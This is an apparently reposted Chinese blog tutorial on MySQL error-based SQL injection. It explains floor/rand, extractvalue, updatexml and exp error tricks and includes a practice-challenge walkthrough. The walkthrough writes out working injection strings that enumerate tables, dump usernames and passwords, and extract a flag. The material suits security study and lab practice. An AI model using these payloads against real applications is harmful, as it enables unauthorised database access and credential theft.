基于报错型的注入

一、floor() 、rand()、和 group by 组合:

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x

通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

参考:http://www.jinglingshu.org/?p=4507

二、updatexml() 、extractvalue():

SELECT * FROM `aaa` where id = 1 and extractvalue('e',concat(1,(SELECT user())));

SELECT * FROM `aaa` where id = 1 and updatexml('e',concat(1,(SELECT user())),1);

 三、exp():

当参数大于709时候会报错,如下:

但是在 mysql 5.7.14中报错不会泄露信息了。

 参考:http://bobao.360.cn/learning/detail/607.html

四、GeometryCollection()

五、polygon()

六、multipoint()

七、multilinestring()

八、multipolygon()

九、linestring()

实例分析:

本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录

使用函数extractvalue()进行注入。

1、 测试是否是报错型注入。

exp:admin' and extractvalue(1,concat(1,(select user()))) %23

返回页面:

 

    确实是报错型注入。

2、 爆库名

exp:admin' and extractvalue(1,concat(1,(select database()))) %23

返回页面:

 

得知当前库名:mydbs

3、 爆mydbs库的所有表

exp:admin' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='mydbs'))) %23

返回页面:

 

mydbs库中的表是:log、motto、user这三个。

4、 爆user表的字段:

exp:admin' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='user'))) %23

返回页面:

 

得知user表的字段为id、username、password

5、 爆user表中的记录

exp:admin' and extractvalue(1,concat(1,(select group_concat(id,'_',username,'_',password) from user))) %23

返回页面

 

运气不好没找到flag

6、 在motto表中找,重复步骤4,5,在表motto中的motto中找到flag

exp:admin' and extractvalue(1,concat(1,(select concat(motto) from motto limit 3,1))) %23

返回页面:

 

原文地址:https://www.cnblogs.com/natian-ws/p/7204806.html